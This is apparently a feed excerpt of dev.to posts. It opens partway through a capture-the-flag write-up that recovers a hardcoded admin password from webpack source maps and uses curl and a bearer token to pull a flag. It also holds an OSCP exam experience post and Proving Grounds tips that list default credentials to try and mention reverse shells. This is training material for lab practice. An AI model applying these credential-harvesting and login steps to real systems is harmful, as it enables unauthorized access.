Writing xhr-polling.js...
Writing xhr-streaming.js...
Writing browser-crypto.js...
Writing browser.js...
Writing escape.js...
Writing event.js...
Writing iframe.js...
Writing log.js...
Writing object.js...
Writing random.js...
Writing transport.js...
Writing url.js...
Writing version.js...
Writing browser.js...
Writing common.js...
Writing addStyles.js...
Writing urls.js...
Writing browser.js...
Writing tiny-invariant.esm.js...
Writing tiny-warning.esm.js...
Writing index.js...
Writing url.js...
Writing util.js...
Writing value-equal.js...
Writing warning.js...
Writing amd-options.js...
Writing global.js...
Writing module.js...
Writing index.css...
Writing App.js...
Writing AuthStore.js...
Writing CreateAccount.js...
Writing Home.js...
Writing Login.js...
Writing UserService.js...
Writing index.css02e3...
Writing index.js...

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Afterwards I looked through the file directory&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ cd output/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output]
└─$ ls
app  src

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output]
└─$ cd src/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/src]
└─$ ls
index.css02e3

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/src]
└─$ cd ../app/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app]
└─$ ls
front-end

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app]
└─$ cd front-end/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end]
└─$ ls
node_modules  src  webpack

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end]
└─$ cd src/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ ls
App.js        CreateAccount.js  Login.js        index.css
AuthStore.js  Home.js           UserService.js  index.js

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After that I read some files, most notably are the ones regarding the Login System. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The Login.js has a comment &lt;code&gt;{/\* UnCr@ck@b|3-P@$$W()rd \*/}&lt;/code&gt;

&lt;ol&gt;
&lt;li&gt;Since they ask for you to login to the administrator account, you can guess that the username is administrator&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;li&gt;The 2nd file, UserService.js, shows that there are 3 endpoints

&lt;ol&gt;
&lt;li&gt;1 to register user&lt;/li&gt;
&lt;li&gt;/users/login POST to get login token&lt;/li&gt;
&lt;li&gt;/users/me to get the name?
&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ cat Login.js
import React, {Component} from 'react';
import AuthStore from "./AuthStore";
import UserService from "./UserService";

class Login extends Component {
    constructor(props) {
        super(props);
        this.state = {
            username: '',
            password: '',
            loading: false,
            errorMessage: undefined
        };
    }

    handleLoginResponse = (response) =&amp;gt; {
        if (response.data &amp;amp;&amp;amp; response.data.token) {
            AuthStore.saveToken(response.data.token);
            this.props.history.push("/")
        } else {
            this.setState({loading: false, errorMessage: 'Error logging in. Try again later.'});
        }
    };

    handleLoginError = (err) =&amp;gt; {
        if (err.response &amp;amp;&amp;amp; err.response.status === 400)
            this.setState({loading: false, errorMessage: err.response.data.message});
        else
            this.setState({loading: false, errorMessage: 'Error logging in. Try again later.'});
    };

    login = (event) =&amp;gt; {
        event.preventDefault();
        this.setState({loading: true});
        UserService.login(this.state.username,
            this.state.password,
            this.handleLoginResponse,
            this.handleLoginError);
    };

    handleChange = (event) =&amp;gt; {
        this.setState({
            [event.target.id]: event.target.value
        });
    };

    render() {
        const loadingDiv = this.state.loading &amp;amp;&amp;amp;
            &amp;lt;div className="d-flex align-items-center justify-content-center overlay"&amp;gt;
                &amp;lt;div className="spinner-border text-primary" role="status"/&amp;gt;
            &amp;lt;/div&amp;gt;;

        const errorMessageDiv = this.state.errorMessage &amp;amp;&amp;amp;
            &amp;lt;div className="text-danger mb-2"&amp;gt;{this.state.errorMessage}&amp;lt;/div&amp;gt;;

        return (
            &amp;lt;div className="d-flex flex-column h-100 align-items-center justify-content-center"&amp;gt;
                {loadingDiv}
                &amp;lt;form className="flex-column w-25"&amp;gt;
                    &amp;lt;h1 className="h3 mb-3 font-weight-normal"&amp;gt;Login&amp;lt;/h1&amp;gt;
                    {errorMessageDiv}
                    &amp;lt;input autoComplete="off" type="username" id="username" className="form-control mb-3"
                           placeholder="Username" value={this.state.username} onChange={this.handleChange}/&amp;gt;
                    &amp;lt;input type="password" id="password" className="form-control mb-3" placeholder="Password"
                           value={this.state.password} onChange={this.handleChange}/&amp;gt;{/* UnCr@ck@b|3-P@$$W()rd */}
                    &amp;lt;button className="btn btn-lg btn-primary btn-block" type="submit" onClick={this.login}&amp;gt;
                        Submit
                    &amp;lt;/button&amp;gt;
                &amp;lt;/form&amp;gt;
            &amp;lt;/div&amp;gt;
        );
    }
}

export default Login;
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ cat UserService.js
import axios from 'axios'

class UserService {
    static login(username, password, successCallback, errorCallback) {
        axios.post('/users/login', {
            username: username,
            password: password
        }).then(successCallback).catch(errorCallback);
    }

    static createAccount(username, password, successCallback, errorCallback) {
        axios.post('/users', {
            username: username,
            password: password
        }).then(successCallback).catch(errorCallback);
    }

    static loadCurrentUser(successCallback, errorCallback) {
        axios.get('/users/me').then(successCallback).catch(errorCallback);
    }
}

export default UserService;
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This file, AuthStore.js, Shows that you have to put the token in the Authorization header of the request to the backend server to work&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ cat AuthStore.js
import axios from "axios/index";

class AuthStore {
    static TOKEN_NAME = 'token';

    static isLoggedIn() {
        return localStorage.getItem(this.TOKEN_NAME) !== null;
    }

    static saveToken(token) {
        localStorage.setItem(this.TOKEN_NAME, token);
        axios.defaults.headers.common['Authorization'] = `Bearer ${token}`;
    }

    static removeToken() {
        localStorage.removeItem(this.TOKEN_NAME);
    }

    static getToken() {
        return localStorage.getItem(this.TOKEN_NAME)
    }
}

export default AuthStore;
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I tried logging in with &lt;code&gt;administrator:UnCr@ck@b|3-P@$$W()rd&lt;/code&gt;, which worked. However, the homepage looked empty&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4hO30QAl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r09hqjqrzx46tm91gz45.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4hO30QAl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r09hqjqrzx46tm91gz45.jpg" alt="Image description" width="880" height="1955"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I tried accessing the endpoints manually with curl, by logging in, and accessing &lt;code&gt;/user/me&lt;/code&gt;, and discovered the flag&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ curl -H 'Content-Type: application/json' http://54.254.185.105:5959/users/login -d '{ "username":"administrator", "password":"UnCr@ck@b|3-P@$$W()rd"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNjU1OTUwNTI0LCJleHAiOjE2NTY1NTUzMjR9.kq6yuPlogXOAc87H5xJyX4te8DfNsco1WTcKZOiv2vw"}
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNjU1OTUwNTI0LCJleHAiOjE2NTY1NTUzMjR9.kq6yuPlogXOAc87H5xJyX4te8DfNsco1WTcKZOiv2vw' http://54.254.185.105:5959/users/me
{"flag":"CDDC22{50urc3_m4p_15_h1dd3n_g3m}"}
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;CDDC22{50urc3\_m4p\_15\_h1dd3n\_g3m}&lt;/code&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>My OSCP Experience</title>
      <dc:creator>Terence Chan Zun Mun</dc:creator>
      <pubDate>Sat, 26 Mar 2022 18:13:05 +0000</pubDate>
      <link>https://dev.to/hackin7/my-oscp-experience-c9</link>
      <guid>https://dev.to/hackin7/my-oscp-experience-c9</guid>
      <description>&lt;p&gt;After&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;1 month Hack The Box&lt;/li&gt;
&lt;li&gt;2 months PWK Labs&lt;/li&gt;
&lt;li&gt;2 months Proving Grounds Practice&lt;/li&gt;
&lt;li&gt;130+ boxes in total, 57+ without hints&lt;/li&gt;
&lt;li&gt;7 months of Trying Harder&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I have obtained my OSCP! Here's how I did it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2FKqfdblb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2FKqfdblb.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Background
&lt;/h2&gt;

&lt;p&gt;I have been thinking about doing OSCP since the start of 2021, when I read about it online. It was this mysterious "Entry Level" Cyber Security Certificate that could help you get interviews and more. I've read many reviews, online posts and more, and it seemed useful and a goal I would like to reach while I was in National Service (Singapore Army Conscription). &lt;/p&gt;

&lt;p&gt;As a warmup, I started doing eJPT in July 2021, and passed it by September. I liked the experience, so I decided to bite the bullet and sign up for the OSCP exam&lt;/p&gt;

&lt;p&gt;I have the following background&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;19 year old JC Graduate, Currently serving in the Army, Incoming Electrical Engineering undergraduate

&lt;ul&gt;
&lt;li&gt;Studied Computing for A Levels - Learnt Python and basic TCP/IP Networking &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Did various TryHackMe Boxes&lt;/li&gt;
&lt;li&gt;Participated in various CTFs&lt;/li&gt;
&lt;li&gt;Linux experience (through Raspberry Pi Tinkering)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;My aim is to improve my cybersecurity skills in a verifiable manner. As such, besides just getting the cerificate, I also aim to learn as much as possible.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preparation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Resources Used
&lt;/h3&gt;

&lt;p&gt;In order of resource used&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Platform&lt;/th&gt;
&lt;th&gt;Paid Length&lt;/th&gt;
&lt;th&gt;Hint&lt;/th&gt;
&lt;th&gt;Hintless&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;TryHackMe&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Various&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hack The Box&lt;/td&gt;
&lt;td&gt;1 month&lt;/td&gt;
&lt;td&gt;37&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PWK Labs&lt;/td&gt;
&lt;td&gt;2 months&lt;/td&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Proving Grounds Practice&lt;/td&gt;
&lt;td&gt;3 months&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnhub &amp;amp; PG Play&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PortSwigger Exercises&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Various&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I followed TJNull's list &lt;a href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1097814569" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Various Important Courses &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;TryHackMe

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tryhackme.com/room/bufferoverflowprep" rel="noopener noreferrer"&gt;https://tryhackme.com/room/bufferoverflowprep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tryhackme.com/room/windows10privesc" rel="noopener noreferrer"&gt;https://tryhackme.com/room/windows10privesc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tryhackme.com/room/linuxprivesc" rel="noopener noreferrer"&gt;https://tryhackme.com/room/linuxprivesc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tryhackme.com/room/sqlinjectionlm" rel="noopener noreferrer"&gt;https://tryhackme.com/room/sqlinjectionlm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PortSwigger SQL injection and Command Injection labs&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Other platforms (like TryHackMe) are good for practicing and building a basic idea of what pentesting is. However, I would recommend Hack The Box, due to the difficulty of the machines (and the similarity to the labs, trust me, you'll see machines which are the same), as well as Proving Grounds Practice (machines &amp;amp; methodology are &lt;strong&gt;very&lt;/strong&gt; similar to the exam)&lt;/p&gt;

&lt;p&gt;I've already covered what to do during OSCP labs in a few of my previous posts but in short&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;1st month I did the Lab Report + Machines without hints

&lt;ul&gt;
&lt;li&gt;As my goal was to learn, not just to be certified, I did the lab report. I learnt quite a bit from doing the later course exercises.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;2nd month I hacked more machines, last 3 weeks started reading forums&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Strategy
&lt;/h3&gt;

&lt;p&gt;I read many guides, some interesting ones are below&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://johnjhacking.com/blog/the-oscp-preperation-guide-2020/" rel="noopener noreferrer"&gt;https://johnjhacking.com/blog/the-oscp-preperation-guide-2020/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://link.medium.com/pBLmUc9cFhb" rel="noopener noreferrer"&gt;https://link.medium.com/pBLmUc9cFhb&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Unlike many of those guides, I actually didn't watch a lot of hacking videos (reading writeups is more of my thing, once I tried hacking the boxes), or study Network+ and other technical certifications. I focused more on hacking boxes and hands on experience. &lt;/p&gt;

&lt;p&gt;Before I actively started preparing for it, I just do the occasional TryHackMe box for fun. I did not spend a lot of time beforehand studying.&lt;/p&gt;

&lt;p&gt;Once I set my mind to getting an OSCP, I spent 1 month doing Hack The Box (October) after signing up for the course (and waiting for access to the materials), before moving on to the PWK Labs (November - December). I then registered for my exam in (March), and practiced Proving Grounds Practice in the 3 months to my exam.&lt;/p&gt;

&lt;p&gt;In total I spent $1199 (PWK 60 labs before price hike) + $14 (HTB) + $19*3 (PG) = USD 1270 on the course. &lt;/p&gt;

&lt;p&gt;Along the way, I used Obsidian to take notes on the machines and useful techniques, and backed up my notes regularly.&lt;/p&gt;

&lt;p&gt;I'll probably never feel confident enough to jump into the exam no matter how many boxes I have hacked. So my mindset was that "I learned so much in this process anyway. It’s just an exam. It's worth to retake even if I fail", and dived into the exam&lt;/p&gt;

&lt;h3&gt;
  
  
  Methodology
&lt;/h3&gt;

&lt;p&gt;This is something that is tricky to build up. There is no easy way or "cheat sheet" out of this besides hacking more boxes.&lt;/p&gt;

&lt;p&gt;Some may argue that you should never use hints. Many others have argued that you should use hints after trying your best on a machine, or after a specific amount of time.&lt;/p&gt;

&lt;p&gt;My stance is to not use writeups or hints &lt;strong&gt;until close to the end of the subscription/ near the exam/ after a very long while&lt;/strong&gt;. I think this helps to build &lt;strong&gt;perseverence&lt;/strong&gt;. You are really forced to try harder, try everything, and this mental state is good for OSCP or any stressful situation.&lt;br&gt;
That said, on analysing the machines I hacked, machines that I spent more than 10 days (or about 6 hours at the screen) usually required me to use a writeup to solve. &lt;/p&gt;

&lt;p&gt;I ended up using autorecon and getting comfortable with it. It may have a lot of command output, but I understand what it is doing most of the time, and I can fall back on manual enumeration if I cannot get sufficient information.&lt;/p&gt;

&lt;p&gt;Here are a few technical tips I learnt throughout my experience&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Banner information may not be correct. Enumerate the version number of services&lt;/li&gt;
&lt;li&gt;FTP anonymous login doesn't mean you cannot login as other users to get different directories. FTP servers can also start at different working directories (&lt;code&gt;/ftp&lt;/code&gt; instead of &lt;code&gt;/&lt;/code&gt; on login)&lt;/li&gt;
&lt;li&gt;Reverse shell ports that work (bypass firewall) are likely to be application services ports&lt;/li&gt;
&lt;li&gt;Pivoting is useful even for standalone boxes, you can access hidden network services for privilege escalation&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Exam Experience
&lt;/h2&gt;

&lt;p&gt;The VPN connection is also very similar to Proving Grounds,&lt;/p&gt;

&lt;p&gt;You notice that in my writeup I talk very little about Active Directory. The main reason for that is during my exam I actually could not do the AD chain. That's right, I passed purely on 3 standalone machines + lab report.&lt;/p&gt;

&lt;p&gt;Here are some tips for the exam from me&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Breaks 

&lt;ul&gt;
&lt;li&gt;I took naps, meals, toilet breaks and more.&lt;/li&gt;
&lt;li&gt;Dont be afraid of leaving your screen for 1h or more. &lt;/li&gt;
&lt;li&gt;Use the time to get some good rest and go back recharged&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Backup

&lt;ul&gt;
&lt;li&gt;Before my exam, I had to reboot my system and change host OS from Arch Linux to Windows due to an issue with screen sharing. Have &lt;strong&gt;backup plans&lt;/strong&gt; in case things don't work&lt;/li&gt;
&lt;li&gt;My Kali VM crashed. It couldn't boot up. Luckily I restored a &lt;strong&gt;backup&lt;/strong&gt; from 3 months ago that worked.&lt;/li&gt;
&lt;li&gt;I take notes while I'm doing the exam to be used in the report. &lt;strong&gt;Backup your findings&lt;/strong&gt; as they are important to be used in your report&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Enumerate

&lt;ul&gt;
&lt;li&gt;You can still learn new things on the day of the exam!&lt;/li&gt;
&lt;li&gt;Try enumerating the port in different ways. Research the information in different ways, eg. look at the version number, look at the source code and the related frameworks.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Be Confident! 

&lt;ul&gt;
&lt;li&gt;Don't worry if you take a long time. I took about 8 hours to even get local of my own box. My exam experience is that once I found something interesting, the machine can be comprimised in 3 hours or so. &lt;/li&gt;
&lt;li&gt;Don't be afraid to use Metasploit/Meterpreter. I ended up using Meterpreter once in my exam, which helped speed up my privilege escalation process significantly.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Report Writing
&lt;/h2&gt;

&lt;p&gt;This was scary for me. I did not want my effort during the 24 hours to all go to waste, especially if the results depend on a Lab Report.&lt;/p&gt;

&lt;p&gt;Fortunately, Offensive Security included templates on how to write the templates. They also have some useful resources&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://help.offensive-security.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements" rel="noopener noreferrer"&gt;https://help.offensive-security.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://help.offensive-security.com/hc/en-us/articles/4412170923924-OSCP-Exam-FAQ" rel="noopener noreferrer"&gt;https://help.offensive-security.com/hc/en-us/articles/4412170923924-OSCP-Exam-FAQ&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;During the exam, I made sure to take note of &lt;strong&gt;all&lt;/strong&gt; command line steps and outputs. I also took regular screenshots, as well as the proof screenshot (with the contents of the proof, networking, and &lt;strong&gt;proof that the proof file was read from its original location&lt;/strong&gt;)&lt;/p&gt;

&lt;p&gt;For my reports, I included all necessary commands and related output. I did this for my lab report too as this helped train me to write my exam report. My exam report ended up as 65 pages, while my lab report ended up as 600 pages or so.&lt;/p&gt;

&lt;p&gt;Some tips for writing the report&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Although the template report used screenshots for command line output, you can also just copy and paste the command output &lt;strong&gt;as text&lt;/strong&gt; into the report. I did this as it makes it easier for the reader to "copy and paste"&lt;/li&gt;
&lt;li&gt;I wrote my reports in Markdown using the format &lt;a href="https://github.com/noraj/OSCP-Exam-Report-Template-Markdown" rel="noopener noreferrer"&gt;here&lt;/a&gt;. 

&lt;ul&gt;
&lt;li&gt;I researched more about pandoc and decided to convert my Markdown documents to docx first, edit them in LibreOffice (Page Breaks, better Table of Contents), and export them to PDF for submission &lt;/li&gt;
&lt;li&gt;Test your report conversion before the exam. This helped me figure out issues with my report conversion before the exam (issues with special characters in my terminal), and switch to a system that works. &lt;/li&gt;
&lt;li&gt;Another good report format can be found &lt;a href="https://github.com/chvancooten/OSCP-MarkdownReportingTemplates/blob/master/Examples/Example%20Report.pdf" rel="noopener noreferrer"&gt;here&lt;/a&gt;, this one provides resources&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I used an OSCP Exercise Checklist &lt;a href="https://github.com/remembercds/OSCP-Exercises-Check-List" rel="noopener noreferrer"&gt;here&lt;/a&gt; to keep track of course exercises done. Keep in mind that your course materials &lt;strong&gt;may have different numbering&lt;/strong&gt;, which happened to me.&lt;/li&gt;
&lt;li&gt;I included the autorecon nmap scans in my report.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Afterthoughts
&lt;/h2&gt;

&lt;p&gt;24 hours or so after I submitted the report, I got the good news email! As a reward for passing on my first try, I was one of the last few to be able to receive a physical certification!&lt;/p&gt;

&lt;p&gt;Even though Offsec switch the labs right in the middle of my lab time (Adding Active Directory), I was able to finish up my lab report (which saved my exam attempt), study more on Active Directory, and pass the exam.&lt;/p&gt;

&lt;p&gt;The most important thing I learnt is to have a methodology, and the mental resilience to &lt;strong&gt;Try Harder&lt;/strong&gt;. This means to keep trying, try in different ways.&lt;/p&gt;

&lt;p&gt;For now I'll take a break. My next step would probably be Burp Suite Certified, as I have an exam voucher. In the future I may consider other higher level penetration testing certificates.&lt;/p&gt;

&lt;p&gt;That's it from me, hope my experience can help anyone with their OSCP journey!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Proving Grounds Quick Tips</title>
      <dc:creator>Terence Chan Zun Mun</dc:creator>
      <pubDate>Sat, 26 Mar 2022 11:59:22 +0000</pubDate>
      <link>https://dev.to/hackin7/proving-grounds-tips-50ae</link>
      <guid>https://dev.to/hackin7/proving-grounds-tips-50ae</guid>
      <description>&lt;p&gt;This is just going to be a quick sharing on my thoughts of Proving Grounds Practice. If you do not know what it is, Proving Grounds Practice is a subscription service for access to machines, mainly for practicing your Penetration Testing skills. It is recommended by many for OSCP practice, due to the similarity of their machines to the exam (after all from the same author).&lt;/p&gt;

&lt;p&gt;There are a few things I want to touch on&lt;/p&gt;

&lt;h2&gt;
  
  
  Connection
&lt;/h2&gt;

&lt;p&gt;My setup is a Arch Linux Host running a Kali VM. The VPN connection works quite well on this. When I use a Windows Host instead, the connection is more likely to disconnect.&lt;/p&gt;

&lt;p&gt;There were some connection issues, like&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Machines only run when you have an active VPN connection. This makes starting &lt;/li&gt;
&lt;li&gt;Machine IP is related to your own VPN connection IP (eg. 192.168.53.&lt;strong&gt;55&lt;/strong&gt; is the host, while the machine is 192.168.&lt;strong&gt;55&lt;/strong&gt;.109). If they don't match in that way, chances are that you have to reset your VPN connection. I had this issue more than once .&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Machines
&lt;/h2&gt;

&lt;p&gt;There are walkthroughs for each machine, but these are limited to 1 per day. You are entitled to 3 hints per day. Offsec doesn't recommend publishing writeups (afterwards, it prevents spoilers). However, Offsec won't take down any writeups which are already published. You can already find writeups online, if you don't want to unnecessarily waste points.&lt;/p&gt;

&lt;p&gt;The hints are relatively good, if you want to avoid wasting time being stuck on machines. &lt;/p&gt;

&lt;p&gt;Most Practice Machines are good and feel like OSCP machines. Generally you should&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;a href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0"&gt;TJNull's List&lt;/a&gt; is a good place to start&lt;/li&gt;
&lt;li&gt;I could only do 1 "Try Harder" machine, and read the writeup of MeatHead. That said, after having done the exam, most of the exam difficulty is more like "Get To Work" 20 point machines.&lt;/li&gt;
&lt;li&gt;The community difficulty is usually a better guage of difficulty than the Offsec difficulty (though it is subject to change over time). 

&lt;ul&gt;
&lt;li&gt;OSCP exam machines (the standalone ones) feel more like "Hard", but that's based on my 1 exam experience.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Tips
&lt;/h2&gt;

&lt;p&gt;There are some important skills that you'll pick up in Proving Grounds.&lt;/p&gt;

&lt;p&gt;The most important few are these&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The firewall of the machines may be configured to prevent reverse shell connections to most ports except the application ports. 

&lt;ul&gt;
&lt;li&gt;Use application port on your attacking machine for reverse shell&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;admin:admin&lt;/code&gt;, &lt;code&gt;admin:password&lt;/code&gt;, &lt;code&gt;guest:guest&lt;/code&gt;, &lt;code&gt;backup:backup&lt;/code&gt;, &lt;code&gt;&amp;lt;username&amp;gt;:&amp;lt;username&amp;gt;&lt;/code&gt;, default credentials, reused credentials&lt;/li&gt;
&lt;li&gt;Google exploits, not just &lt;code&gt;searchsploit&lt;/code&gt;. Found many exploits this way&lt;/li&gt;
&lt;li&gt;If the &lt;code&gt;ftp&lt;/code&gt; command doesn't work, try passive mode, or &lt;code&gt;pftp&lt;/code&gt;. Same thing for vice versa. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here are some useful links&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck"&gt;https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck&lt;/a&gt;&lt;/li&gt;
